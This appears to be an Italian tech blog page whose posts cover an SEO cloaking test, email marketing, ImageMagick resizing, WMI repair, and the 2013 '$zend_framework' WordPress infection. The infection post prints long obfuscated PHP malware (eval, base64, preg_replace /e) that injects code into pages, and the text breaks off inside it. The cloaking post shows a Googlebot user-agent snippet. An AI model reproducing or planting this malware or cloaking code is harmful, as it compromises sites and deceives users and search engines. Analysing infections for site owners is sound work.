Cloaking Seo Funziona?

Categorie:SEOTags: , ,

Il mondo del SEO è composto da tecniche buone e cattive, i cosiddetti white hat e black hat. Tra quest’ultime a farla da padrona per molti anni è stato il cloaking delle pagine ovvero mostrare solo ai crawler dei motori di ricerca contenuti che non sono visibili al resto degli utenti. Ma il Cloaking Seo funziona ancora? Noi abbiamo fatto i nostri test empirici; ecco cosa ne è venuto fuori.

Abbiamo preso in oggetto uno dei nostri siti utilizzati ai fini test e introdotto un questa riga di codice subito dopo il tag body:

 if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Googlebot' ) !== false ) { ?>

Keyword Seguita

per un buon risultato empirico abbiamo ripetuto il test specificando anzicchè l’User Agent del visitatore il suo indirizzo IP fornendo quindi un array di indirizzi che Google dichiara essere usati dai Googlebot.

I siti in questione venivano seguiti con key con pochissima competizione ed erano in posizioni fisse ormai da diversi mesi.

I risultati del Cloaking Test? Giudicate voi:

Campagna Mail Marketing Efficace

Categorie:Email MarketingTags: , ,

Le Campagne di mail marketing efficaci sono da anni al centro del marketing legato al web. Con l’introduzione dei CMS si sono quindi proposti plugin ed estensioni per invio di email massive. Purtroppo in pochi sanno che questi strumenti non sono ovviamente professionali in quanto, oltre a non garantire l’inoltro completo alle liste di indirizzi, possono recare danni di visibilità al sito (ed al server) che opera l’invio.

Vediamo quindi un confronto tra campagne di email marketing fai-da-te e attraverso strumenti professionali:

CAMPAGNA FAI-DA-TE

Questo tipo di campagne di mail marketing fanno utilizzo di semplici applicativi separati o integrati ad un sito web. Si basano nel memorizzare liste di indirizzi (catalogati anche per categoria) su un database e utilizzano sostanzialmente due metodi di invio:

  • invio tramite funzione php_mail(): Questa è una funzione presente nel core del linguaggio PHP (con ovvie similitudini anche in altri linguaggi) che consente l’invio di un messaggio in modo automatico senza utilizzare un server SMTP ma utilizzando lo stesso server che ospita il sito web o l’applicazione usata per la campagna mail.
  • invio tramite credenziali smtp: Questa tipologia di invio utilizza un server SMTP per inoltrare i messaggi proprio come un client di posta normale.

PRO:

  • Possibile inviare campagne di mail marketing a costo ZERO.
  • Semplicità di utilizzo

CONTRO:

  • utilizzando la funzione php_mail() non tutti i messaggi vengono inoltrati soprattutto in presenza di lunghe liste. Questo avviene perchè l’invio di una campagna massiva rallenta ovviamente un server sulla quale sicuramente sono ospitati altri siti web o applicazioni. I provider infatti non possono dedicare tutta la potenza di calcolo di un server ad un solo sito web e applicano quindi dei filtri in modo da alleggerire il carico di lavoro per la macchina a scapito dell’effettivo invio di molte delle mail inviate. La percentuale quindi di email realmente inoltrata al destinatario corrisponde al 71% con una lista di 10k indirizzi. La percentuale aumenta al diminuire della lista. Un altro grave problema risiede nel fatto che le mail inoltrate al destinatario avranno come indirizzo IP di provenienza, lo stesso del sito o del server ospitante. Nel caso in cui i server POP dei destinatari identificano la comunicazione come SPAMM, sarà l’intero indirizzo IP a pagarne le spese poichè potrà essere etichettato come un Server Mail Spammer con ovvie ripercussioni soprattutto in termini di posizionamento sui motori di ricerca.
  • Utilizzando un server SMTP come gmail o altri si riusciranno a inviare solo un centinaio di mail in quanto i filtri dei provider non consentono l’invio massivo di comunicazioni come riportato dallo stesso Google : [CIT] “Per contrastare lo spam e prevenire le violazioni, Google disabilita temporaneamente gli account che inviano messaggi a più di 500 destinatari o grandi quantità di messaggi che non vengono recapitati. Se utilizzi un client POP o IMAP (ad esempio, Microsoft Outlook o Apple Mail), puoi inviare un messaggio a 100 destinatari per volta. Il tuo account dovrebbe quindi essere riattivato entro 24 ore.”
  • Alta probabilità di finire nella cartella SPAMM del destinatario che non vedrà la comunicazione.
  • Non si hanno inoltre statistiche circa l’andamento della campagna, ovvero non è possibile sapere il tasso di consegna, di apertura, di click e di conversione di una campagna.

CAMPAGNE PROFESSIONALI

Questo tipo di campagna utilizza principalmente 2 strumenti per inoltrare campagne di mail marketing: un software  di invio e un server smtp dedicato per l’invio.

PRO:

  • I tassi di consegna delle mail passano dal 71% di una campagna fai-da-te al 99% utilizzando server dedicati.
  • Le email prima di essere inoltrate sono sottoposte a verifiche di punteggio SPAMM, ovvero viene verificato il punteggio da 1 a 10 che la identifica come SPAMM. Un buon corpo mail deve avere un punteggio non superiore a 4.
  • Non vengono in nessun modo compromessi gli indirizzi IP del nostro sito
  • E’ possibile inviare enormi liste di mail
  • Possibilità di conoscere il tasso delle mail consegnate, quello delle mail aperte, quelle cliccate e il tasso di conversione. E’ inoltre possibile sapere quali indirizzi non esistono più o quali hanno una casella piena in modo da poter essere rimossi dalle liste.

 

CONTRO:

  • richiede conoscenza dei principali filtri di server di posta come SpammAssassin
  • Costo.

CERCHI UNA CAMPAGNA EMAIL MARKETING PROFESSIONALE? SCOPRI COSA FACCIAMO!

Ridimensionare immagini o cartelle di immagini da shell

Categorie:LinuxTags: , ,

Spesso ci si trova davanti all’esigenza di ridimensionare molte immagini per gli utilizzi più disparati soprattutto per il loro utilizzo sul web. Con linux basta una sola linea di comando shell per realizzare l’obiettivo utilizzando uno strumento gratuito chiamato ImageMagick:

Se non lo abbiamo già, procediamo alla sua istallazione:

sudo apt-get install imagemagick

 

Dopo averlo istallato, possiamo utilizzare diverse opzioni una fra queste è:

convert *.jpg -resize 50% outputimg.jpg

Questo comando ridurrà del 50% tutti i file jpg contenuti nella cartella corrente ridenominandoli in outputimg.jpg

Oppure con qualcosa di più professionale

for i in *.jpg; do new_file=${i/.*/};convert ${i} -resize 50% ${i} ${new_file}_new.jpg; done

Che ridurrà del 50% tutte le immagini jpg della cartella mantenendo il nome di ciascun file

Ripristino WMI Windows e System.Management.ManagementException

Categorie:WindowsTags: , , ,

Talvolta, installando software in ambiente windows o utilizzandoli, vi è la possibilità di corrompere la strumentazione di gestione del Sistema Operativo denominato WMI causando errori del tipo System.Management.ManagementException.

Una soluzione a questo problema, consiste nel ripristinare il WMI di Windows. A tal fine, è sufficiente creare un file .cmd (es. repair_wmi.cmd) e scriverci dentro questa porzione di codice.

WMI windows repair

net stop winmgmt
pause
c:
cd c:\windows\system32\wbem
rd /S /Q repository
regsvr32 /s %systemroot%\system32\scecli.dll
regsvr32 /s %systemroot%\system32\userenv.dll
mofcomp cimwin32.mof
mofcomp cimwin32.mfl
mofcomp rsop.mof
mofcomp rsop.mfl
for /f %%s in ('dir /b /s *.dll') do regsvr32 /s %%s
for /f %%s in ('dir /b *.mof') do mofcomp %%s
for /f %%s in ('dir /b *.mfl') do mofcomp %%s 
REM Con Windows XP le seguenti linee sono inutili
REM mofcomp exwmi.mof
REM mofcomp -n:root\cimv2\applications\exchange wbemcons.mof
REM mofcomp -n:root\cimv2\applications\exchange smtpcons.mof
REM mofcomp exmgmt.mof
pause

ed eseguire il file appena creato come amministratori.

Attacco $zend_framework WordPress

Introduzione:

Nel Giugno 2013 un nuovo exploit è stato avviato nei confronti del noto CMS WordPress. Il primo sintomo nasce dalla visualizzazione del pannello amministratore che risulta privo di veste grafica. Visionando un qualsiasi file php del Core di WordPress o dei temi utilizzati nel CMS, notiamo che in testa a quasi tutti i file viene riportato un codice codificato in base64 similare a questo:


Utilizzando un semplice tool di decodifica, vediamo che lo stesso corrisponde alla seguente porzione di codice PHP:

unction eva1fY2bak1cV0ir() {
 //echo start

 if(!isset($GLOBALS["aghex0"])) {
	$GLOBALS["aghex0"]=1;
 $evalsssgqulVBTkZLAch = "";
 if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1ZzkFcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2dlTshEcMhHT8xFeMx2T4xjWkNTUwVGNdVzWvV1Wc9WT2wlbqZVX3lEclhTTKdWf8oEZzkVNdp2NwZGNVtVX8dmRPF3N1U2cVZDX4lVcdlWWKd2aZBnZtVFfNJ3N1U2cVZDX4lVcdlWWKd2aZBnZtVkVTpGTXB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJ64GfNpjbWBVdId0T7NjVQJHVwV2aNZzWzQjSMhXTbd2MZBnZxpHfNFnasVWevp0ZthjWnBHPZ11MJpVX8FlSMxDRWB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJAZ3VOFndX5EeNt1ZzkFcm5maWFlb0oET410WnNTWwZWc6xXT410WnNTWwZmbmZkT4xjWkNTUwVGNdVzWvV1Wc9WT2wlazcETn4iM1InZk4yJn4iInIiL1UjcmRiLn4SKiAkdX5Uc2dlT9pnRQZ3NwZGNVtVX8VlROxXV2YGbZZjZ4xkVPxWW1cGbExWZ8l1Sn9WT20kdmxWZ8l1Sn9WTL1UcqxWZ59mSn1GOadGc8kVXzkkWdxXUKxEPExGUn4iM1InZk4yJiciL1UjcmRiLn0TMpNHcksTKiciLyUTayZGJucSN3wVM1gHX2QTMcdzM4x1M1EDXzUDecNTMxwVN3gHXyETMchTN4xFN0EDXwMDecZjMxwFZ2gHXzQTMcJmN4x1N2EDX5YDecFTMxwVO2gHX3QTMcNTN4xlMzEDXiZDecFzNcdDN4xlM0EDX3cDecFjNcdTN4xVM0EDXmZDecVjMxw1N0gHXyMTMcZzN4xlNxEDX3UDecJzMxwlY2gHXxcDX2QDecZTMxwlMzgHX1ITMcJzM4x1M0EDX4YDecJTMxw1N0gHXxETMcVzN4xlMxEDX4UDecRDNxwFMzgHX2ITMcRmN4x1M0EDX3MDecNTNxwVO2gHXyQTMcZzN4xlMyEDX4UDecFDNxwVY2gHX1YDX3UDecRDNxwFZ2gHXyITMcNDN4xVMxEDXzcDecRjNcRmN4x1M0EDXxMDecJjMxwFO1gHXyMTMclzN4xlMyEDXzQDecNTMxwlM3gHXwcTMcdTN4xVMzEDXzMDecFzNcZTN4xVN0EDX4YDecJTMxwVZ2gHXzQTMchjN4xFN2EDX0UDecNTMxwVN3gHXyETMchTN4xFN0EDXwMDecZjMxwFZ2gHXzQTMcJmN4x1N0EDXzQDecRDNxwFM3gHXwcTMcdDN4x1M0EDXhdDecFzNcNmN4x1M0EDXwMDecZTMxwFO0gHXxETMclzM4xVMwEDX5YDecJDNxwVO3gHX2ITMcdiL1ITayZGJucyNzgHXzUTMcljN4xVMxEDX3MDecNTNxwVO3gHX1ETMcRzN4x1M1EDX5YDecJDNxwlN3gHX0UTMcdDN4xFN0EDXhZDecVjNcdTN4xFN0EDXkZDecJTMxwVO2gHX0ETMcljN4xVMyEDXzQDecNTMxwlY2gHXyETMcNzM4xlM0EDXmZDecFTMxwFO0gHXxQTMcFmN4xlMwEDXzUDecBjMxw1N2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMxwVZ2gHXyMTMcljN4xFN2wVO2gHXxETMcJmN4xVMxEDXzQDecRTMxwVO2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMxwVZ2gHXyMTMcljN4xFN2wVO2gHXxETMcJmN4xVMzEDX5YDecFTMxwlZ2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMxwVZ2gHXyMTMcZjN4xlNyEDX3QDecRDNxwFO2gHX2ITMcRmN4x1M0EDXhZDecJDMxw1M1gHXwITMcdjN4xFN2wlMzgHXyQTMcBzM4xFN1EDXyMDecFzMxwVN3gHX2ITMcVmN4xlMzEDXiZDecNjNxwFO0gHXxETMcBzN4xFN2wFZ2gHXzQTMcFzM4xlMyEDX4UDecJzMxwVO3gHXyITMcNDN4x1MxEDX1cDecZjMxwVZ2gHXzQTMcBzM4xlNyEDXkZDecNDNxw1N2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMxwVZ2gHXyMTMcJiLn4SNyInZk4yJzYTMcF2N4xlMxEDX1cDecZjMxwVZ2gHXzQTMcBzM4xlNyEDXkZDecNDNxwVZ2gHXwYDXhZDecJDNxwVMzgHXyETMcdiL1ITayZGJuciIuciL1IjcmRiLnUzNcdzN4x1NxEDXlZDecRjNcJzM4xlM0EDXwcDecJjMxw1MzgHXxMTMcVzN4xlNyEDXlZDecJzMxwlN2gHX2ITMcdDN4xFN0EDX4YDecZjMxwFZ2gHXzQTMcFmN4xFN0EDXzUDecBjMxwVN3gHX2ITMcdiL1ITayZGJuciIuciL1IjcmRiLnMjNxwVY3gHXyETMcNmN4xlNxEDX3UDecFzMxw1M3gHXyATMchTN4xlMzEDX5cDecFzNcFzM4xlMzEDXjZDecJTMxwFO0gHXzQTMcVmN4xFM2wVY2gHXyQTMclzN4xlNwEDX3QDecRDNxw1Y2gHXyETMchDN4xlMxEDXi4iM1QXamRCLyUjZpZGJsUjMmlmZkgSZjFGbwVmcfdWZyB3OiIjM4xFM1wVN2gHX0QTMcZmN4x1M0EDX1YDecRDNxwlZ1gHX0YDX2MDecVDNxw1M3gHXxQTMcJjN4xFM1w1Y2gHXxQTMcZzN4xVN0EDXwQDecJCI9AiM1QXamRyOiI2M4xVM1wlMygHXxYDXjVDecJDNchjM4xFN1EDXxYDecZjNxwVN2gHXiASPgITNmlmZksjI1QTMcljN4xFMwEDX5IDecNTNcVmM4xFM1wFM0gHXiASPgUjMmlmZkcCKsFmdltjIwIDecVzNcBjM4xFM2wFN2gHX0QTMcRjM4xlIg0DI1ITayRGJgsTN1kmcmRiLnkiIn4iM1kmcmRCI9ASNyInZkAyOngDN4xFN0EDXjZDecJTMxwFO0gHXyETMcdCI9ASNykmcmRyOnI2M4xVM1wVOygHXyQDXkNDecdCI9AiM1kmcmRyOnQDV2YWfVtUTnASPgITNyZGJ7cCKuVnc0VmckcCI9ASN1InZkszJyUDdpZGJsITNmlmZkwSNyYWamRCKuJXY0VmckszJg0DI1UTayZGJ+aWYgKCFpc3NldCgkZXZhbFVkQ1hURFFFUm1XbkRTKSkge2Z1bmN0aW9uIGV2YWxsd2hWZklWbldQYlQoJHMpeyRlID0gIiI7IGZvciAoJGEgPSAwOyAkYSA8PSBzdHJsZW4oJHMpLTE7ICRhKysgKXskZSAuPSAkc3tzdHJsZW4oJHMpLSRhLTF9O31yZXR1cm4oJGUpO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "edolpxe";$eva1tYldakBcVSir = "strrev";$eva1tYldakBoVS1r = "ecalper_gerp";$eva1tYidokBoVSjr = ";))]1[rjSVcBkadiYt1ave$(edoced_46esab(lave@:eval("");:@(.+)@ie";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "strecrptr";$eva1tYlbakBcVSir = "gao[pxe";$eva1tYldakBoVS1r = "ecrp";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} }  

 return $evalsssgqulVBTkZLAch;   }
function gzdecode($eva1fY2bo01zo817) { $eva1fY2bal1cz8i4 = "strpos"; $eva1fY2bol1cz8i5 = "substr"; $eva1fY2bo11cz8i5 = "unpack"; $eva1fY2bo1lcz8i5 = "chr"; $eva1fY2bo1lzc8i5 = "gzinflate";
 $eva1fY2bo01zo317=@ord(@$eva1fY2bol1cz8i5($eva1fY2bo01zo817,3,1));
 $eva1fY2bo01c0317=10;  if($eva1fY2bo01zo317&4) {
 $eva1fY2bo01z0317=@$eva1fY2bo11cz8i5('v',$eva1fY2bol1cz8i5($eva1fY2bo01zo817,10,2));
 $eva1fY2bo01z0317=$eva1fY2bo01z0317[1];
 $eva1fY2bo01c0317+=2+$eva1fY2bo01z0317;
 }  if($eva1fY2bo01zo317&8) {
 $eva1fY2bo01c0317=@$eva1fY2bal1cz8i4($eva1fY2bo01zo817,$eva1fY2bo1lcz8i5(0),$eva1fY2bo01c0317)+1;
 }  if($eva1fY2bo01zo317&16) {
 $eva1fY2bo01c0317=@$eva1fY2bal1cz8i4($eva1fY2bo01zo817,$eva1fY2bo1lcz8i5(0),$eva1fY2bo01c0317)+1;
 }  if($eva1fY2bo01zo317&2) {
 $eva1fY2bo01c0317+=2;
 }  $eva1fY2bo01c03a7=@$eva1fY2bo1lzc8i5(@$eva1fY2bol1cz8i5($eva1fY2bo01zo817,$eva1fY2bo01c0317));  if($eva1fY2bo01c03a7===FALSE) {
 $eva1fY2bo01c03a7=$eva1fY2bo01zo817;
 }  return $eva1fY2bo01c03a7;
 }
function eva1fY2bak1cV2ir($var6) { $eva1fY2b01lzc8l5 = "preg_replace"; $eva1fY2b0llzc8l5 = "preg_match"; $eva1fY2b022zc8l5 = "Header"; $eva1fY2b022zo8l5 = "gzdecode"; $eva1fY2b052zo8l5 = "Content-Encoding: none"; $eva1fY2b052zo8l1 = "/\<\/body/si"; $eva1fY2b062zo8l1 = "/(\<\/body[^\>]*\>)/si"; $eva1fY2b061zo8l1 = "/\<\/html/si"; $eva1fY2bo61zo8l1 = "/(\<\/html[^\>]*\>)/si"; $eva1fY2b022zc8l5($eva1fY2b052zo8l5); $eva1fY2bo61zo8l7=$eva1fY2b022zo8l5($var6);  if($eva1fY2b0llzc8l5($eva1fY2b052zo8l1,$eva1fY2bo61zo8l7)) {
 return $eva1fY2b01lzc8l5($eva1fY2b062zo8l1, eva1fY2bak1cV0ir()."
"."$1", $eva1fY2bo61zo8l7,1); } else {
 if($eva1fY2b0llzc8l5($eva1fY2b061zo8l1,$eva1fY2bo61zo8l7)) {
 return $eva1fY2b01lzc8l5($eva1fY2bo61zo8l1, eva1fY2bak1cV0ir()."
"."$1", $eva1fY2bo61zo8l7,1);
 } else { return $eva1fY2bo61zo8l7; }
 } }$eva1fY2bak1cz0ir = "function_exists"; $eva1fY2bal1cz0ir = "ob_start"; $eva1fY2bal1cz8ir = "codex22"; if($eva1fY2bak1cz0ir($eva1fY2bal1cz0ir) && !isset($GLOBALS[$eva1fY2bal1cz8ir])) {
	$GLOBALS[$eva1fY2bal1cz8ir]=1; 	if(!$eva1fY2bak1cz0ir("eva1fY2bak1cV2ir")) { if(!$eva1fY2bak1cz0ir("eva1fY2bak1cV0ir")) {
 function eva1fY2bak1cV0ir() {
 //echo start

 if(!isset($GLOBALS["aghex0"])) {
	$GLOBALS["aghex0"]=1;
 $evalsssgqulVBTkZLAch = "";
 if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1ZzkFcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2dlTshEcMhHT8xFeMx2T4xjWkNTUwVGNdVzWvV1Wc9WT2wlbqZVX3lEclhTTKdWf8oEZzkVNdp2NwZGNVtVX8dmRPF3N1U2cVZDX4lVcdlWWKd2aZBnZtVFfNJ3N1U2cVZDX4lVcdlWWKd2aZBnZtVkVTpGTXB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJ64GfNpjbWBVdId0T7NjVQJHVwV2aNZzWzQjSMhXTbd2MZBnZxpHfNFnasVWevp0ZthjWnBHPZ11MJpVX8FlSMxDRWB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJAZ3VOFndX5EeNt1ZzkFcm5maWFlb0oET410WnNTWwZWc6xXT410WnNTWwZmbmZkT4xjWkNTUwVGNdVzWvV1Wc9WT2wlazcETn4iM1InZk4yJn4iInIiL1UjcmRiLn4SKiAkdX5Uc2dlT9pnRQZ3NwZGNVtVX8VlROxXV2YGbZZjZ4xkVPxWW1cGbExWZ8l1Sn9WT20kdmxWZ8l1Sn9WTL1UcqxWZ59mSn1GOadGc8kVXzkkWdxXUKxEPExGUn4iM1InZk4yJiciL1UjcmRiLn0TMpNHcksTKiciLyUTayZGJucSN3wVM1gHX2QTMcdzM4x1M1EDXzUDecNTMxwVN3gHXyETMchTN4xFN0EDXwMDecZjMxwFZ2gHXzQTMcJmN4x1N2EDX5YDecFTMxwVO2gHX3QTMcNTN4xlMzEDXiZDecFzNcdDN4xlM0EDX3cDecFjNcdTN4xVM0EDXmZDecVjMxw1N0gHXyMTMcZzN4xlNxEDX3UDecJzMxwlY2gHXxcDX2QDecZTMxwlMzgHX1ITMcJzM4x1M0EDX4YDecJTMxw1N0gHXxETMcVzN4xlMxEDX4UDecRDNxwFMzgHX2ITMcRmN4x1M0EDX3MDecNTNxwVO2gHXyQTMcZzN4xlMyEDX4UDecFDNxwVY2gHX1YDX3UDecRDNxwFZ2gHXyITMcNDN4xVMxEDXzcDecRjNcRmN4x1M0EDXxMDecJjMxwFO1gHXyMTMclzN4xlMyEDXzQDecNTMxwlM3gHXwcTMcdTN4xVMzEDXzMDecFzNcZTN4xVN0EDX4YDecJTMxwVZ2gHXzQTMchjN4xFN2EDX0UDecNTMxwVN3gHXyETMchTN4xFN0EDXwMDecZjMxwFZ2gHXzQTMcJmN4x1N0EDXzQDecRDNxwFM3gHXwcTMcdDN4x1M0EDXhdDecFzNcNmN4x1M0EDXwMDecZTMxwFO0gHXxETMclzM4xVMwEDX5YDecJDNxwVO3gHX2ITMcdiL1ITayZGJucyNzgHXzUTMcljN4xVMxEDX3MDecNTNxwVO3gHX1ETMcRzN4x1M1EDX5YDecJDNxwlN3gHX0UTMcdDN4xFN0EDXhZDecVjNcdTN4xFN0EDXkZDecJTMxwVO2gHX0ETMcljN4xVMyEDXzQDecNTMxwlY2gHXyETMcNzM4xlM0EDXmZDecFTMxwFO0gHXxQTMcFmN4xlMwEDXzUDecBjMxw1N2gHX0YDXyMDecJDNxwFM3gHXyITMcNzM4xVMzEDX1cDecZjMx